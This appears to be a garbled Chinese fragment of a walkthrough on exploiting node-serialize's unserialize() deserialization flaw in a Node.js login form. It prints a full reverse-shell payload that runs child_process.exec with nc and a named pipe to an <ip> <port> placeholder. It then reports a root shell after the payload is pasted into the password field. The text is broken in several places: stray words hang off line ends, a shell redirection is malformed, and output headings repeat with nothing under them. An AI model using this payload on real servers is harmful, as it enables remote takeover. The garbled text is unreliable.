unserrialize()
函数,经过传递当即调用函数表达式(IIFE)的JavaScript对象能够实现任意代码执行。而且Node.js服务端必须存在接收序列的数据接口准备反序列化代码:_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}()
,修改里面的node
用户名任意输入,将修改好的反序列化代码复制到密码框点击登陆便可。
点击登陆后,以下图所示:利用成功。shell
已经反弹回一个shell,而且权限为root。bash
运行后获得如下输出:函数
运行后获得如下输出:工具